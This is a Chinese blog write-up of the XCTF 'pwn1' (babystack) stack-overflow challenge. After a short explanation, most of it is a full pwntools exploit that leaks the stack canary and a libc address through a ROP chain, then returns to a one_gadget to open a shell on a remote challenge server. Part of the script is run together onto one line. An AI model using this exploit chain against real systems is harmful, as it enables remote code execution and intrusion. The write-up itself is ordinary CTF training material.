攻防世界pwn高手区——pwn1

攻防世界 —— pwn1

攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了。

题目流程

拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞。在gdb中检查题目的保护。

解题思路

程序没有开PIE,但是有Canary,所以首先要infoleak,泄露出Canary。泄露出Canary之后,可以通过ret2Onegadget的方法来getshell,这样的话,还要泄露出一个函数地址,泄露出函数地址之后,通过偏移来计算出libc的基地址,然后计算出Onegadget的地址。

exp如下所示:

from pwn import *
context.log_level='debug'
DEBUG=0
if DEBUG:
    io=process('./babystack')
else:
    io=remote('220.249.52.133',30008)

elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
get_shell=0x45216
#onegadget的地址
read_plt
=elf.plt['read'] write_plt=elf.plt['write'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] puts_off=libc.sym['puts'] pop_rdi_ret=0x400a93 pppppp_ret=0x400A8A movret=0x400a70 main_addr=0x400909 io.recv() io.sendline(str(1)) payload='a'*0x88+' ' #这里' '覆写Canary最低字节 io.send(payload) io.recv() io.sendline(str(2)) io.recvuntil('a'*0x88) Canary=u64(io.recv(8))-0xa #泄露出Canary print("Canary:{}".format(hex(Canary))) io.recv() io.sendline(str(1)) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #泄露出puts函数地址 io.send(payload) io.sendafter('>> ',str(3)) puts_addr=u64(io.recv(8).ljust(8,'x00')) libc_addr=puts_addr-libc.symbols['puts'] execve_addr=libc_addr+0x45216 print("puts_addr:{}".format(hex(puts_addr))) print("libc_addr:{}".format(hex(libc_addr))) print("execve_addr:{}".format(hex(execve_addr))) payload='a'*0x88+p64(Canary)+'aaaaaaaa'+p64(execve_addr) #ret2One_gadget io.sendlineafter('>> ',str(1)) io.send(payload) io.sendlineafter('>> ',str(3)) io.interactive()
原文地址:https://www.cnblogs.com/L0g4n-blog/p/13270308.html